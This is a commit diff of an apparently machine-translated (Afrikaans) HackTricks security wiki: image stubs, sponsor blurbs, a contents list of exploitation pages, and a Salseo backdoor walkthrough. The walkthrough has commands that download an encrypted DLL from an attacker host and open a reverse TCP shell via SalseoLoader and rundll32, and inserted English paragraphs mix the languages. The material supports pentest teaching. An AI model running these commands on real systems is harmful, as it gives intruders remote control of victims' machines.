Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-29 21:15:52 +00:00
parent 2ef2c161a3
commit df6575ddcf
157 changed files with 4516 additions and 3240 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 74 KiB

View file

@ -5,26 +5,26 @@
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Welkom by die wiki waar jy elke haktruc/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus.**
**Welkom by die wiki waar jy elke haktruk/tegniek/enigiets sal vind wat ek geleer het van CTF's, regte lewe programme, navorsing lees en nuus.**
{% endhint %}
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** een of meer **masjiene:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Korporatiewe Borgskappe
## Korporatiewe Borgs
### [STM Cyber](https://www.stmcyber.com)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** ondersteun ook sibersekuriteitsprojekte oopbron soos HackTricks :)
**STM Cyber** ondersteun ook sibersekuriteits oopbronprojekte soos HackTricks :)
***
@ -40,11 +40,11 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** is die **#1** etiese hak- en **foutvondsplatform in Europa.**
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform van Europa.**
**Foutvondstip**: **teken aan** vir **Intigriti**, 'n premium **foutvondsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
**Foutbeloningswenk**: **teken aan** vir **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -52,10 +52,10 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
Kry Vandag Toegang:
@ -67,31 +67,49 @@ Kry Vandag Toegang:
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutvondsjagters te kommunikeer!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hakinsigte**\
Betrokkenheid by inhoud wat die opwinding en uitdagings van hak ondersoek
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak weergee
**Reële Tyd Haknuus**\
Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in reële tyd
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutvondste wat bekendgestel word en kritieke platformopdaterings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingshulpmiddel
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingstoolkit
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
SerpApi bied vinnige en maklike regstydse API's om **toegang tot soekmasjienresultate** te verkry. Hulle skraap soekmasjiene, hanteer proksi's, los captchas op, en ontled al die ryk gestruktureerde data vir jou.
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekmasjiene, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.
In teenstelling met ander verskaffers, skraap SerpApi nie net organiese resultate nie. SerpApi-respons sluit konsekwent alle advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
Huidige SerpApi-klante sluit Apple, Shopify, en GrubHub in.
Vir meer inligting, kyk na hul [blog](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**
Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign\_up)**.**
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -104,19 +122,18 @@ Bly ingelig met die nuutste foutvondste wat bekendgestel word en kritieke platfo
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste sibersekuriteitsdreigings deur **offensiewe-sikuriteitsdienste** met 'n **moderne** benadering te bied.
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** teen die nuutste sibersekuriteitsdreigings te beskerm deur **aanvallende-sekuriteitsdienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een sikeriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sekerheid** Ouditse, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Sekerheidkundiges Uitbesteding en baie meer.
WebSec is 'n **alles-in-een sibersekuriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sekuriteits** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Sekuriteitkundiges Uitbesteding en baie meer.
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie vertroue in hul vaardighede** is, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
'n Ander koel ding oor WebSec is dat in teenstelling met die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
Bo en behalwe WebSec is ook 'n **toegewyde ondersteuner van HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Lisensie & Vrywaring
**Kyk na hulle in:**
**Kyk hulle in:**
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -124,13 +141,13 @@ Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackT
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -695,20 +695,26 @@
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

View file

@ -6,9 +6,9 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -22,7 +22,7 @@ Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy hull
Jy kan die **argitektuur kies** binne Visual Studio in die **linker "Bou" Tab** in **"Platform Teiken".**
(\*\*As jy hierdie opsies nie kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe")
(\*\*As jy hierdie opsies nie kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe"**)
![](<../.gitbook/assets/image (132).png>)
@ -40,6 +40,14 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
#### Salseo
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised Windows system. It is written in C# and uses a TCP connection for communication. The backdoor can be compiled using Visual Studio or the C# compiler.
To use Salseo, the attacker needs to run the backdoor on the target system. Once the backdoor is running, the attacker can connect to it using a TCP client and send commands to be executed on the compromised system.
Salseo provides a simple and effective way for an attacker to maintain access to a compromised Windows system and execute commands without being detected.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@ -50,9 +58,9 @@ Ok, nou het jy alles wat jy nodig het om al die Salseo-ding uit te voer: die **g
## **Voer die agterdeur uit**
### **Kry 'n TCP-omgekeerde dop (laai die geënkripteerde dll af deur HTTP)**
### **Kry 'n TCP-omgekeerde dop (laai geënkripteerde dll af deur HTTP)**
Onthou om 'n nc as die omgekeerde dopluisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
Onthou om 'n nc as die omgekeerde dop-luisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
@ -87,15 +95,15 @@ Maak die SalseoLoader projek oop met behulp van Visual Studio.
### Voeg voor die hooffunksie by: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Installeer DllExport vir hierdie projek
#### **Gereedskap** --> **NuGet Pakketbestuurder** --> **Bestuur NuGet-pakkette vir Oplossing...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Soek na DllExport-pakket (deur die Blaai-tab te gebruik), en druk op Installeer (en aanvaar die popup)**
#### **Soek na DllExport-pakket (deur die Blaai-tabblad te gebruik), en druk op Installeer (en aanvaar die popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -103,7 +111,7 @@ In jou projekmap het die lêers verskyn: **DllExport.bat** en **DllExport\_Confi
### **D**eïnstalleer DllExport
Druk **Deïnstalleer** (ja, dit is vreemd, maar glo my, dit is nodig)
Druk **Deïnstalleer** (ja, dit is vreemd, maar vertrou my, dit is nodig)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
@ -113,7 +121,7 @@ Net **sluit** Visual Studio af
Gaan dan na jou **SalseoLoader map** en **voer DllExport\_Configure.bat uit**
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace vir DllExport**) en druk **Toepas**
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Naamruimte vir DllExport**) en druk **Toepas**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -129,7 +137,7 @@ Kies **Uitvoertipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> To
![](<../.gitbook/assets/image (10) (1).png>)
Kies die **x64 platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform teiken = x64)
Kies **x64** **platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform teiken = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
@ -160,9 +168,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
#### CMD
CMD is a command-line interpreter that allows users to interact with the operating system. It can be used to execute commands to perform various tasks on a Windows system.
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -171,16 +177,16 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
<besonderhede>
<details>
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</besonderhede>
</details>

View file

@ -8,13 +8,13 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
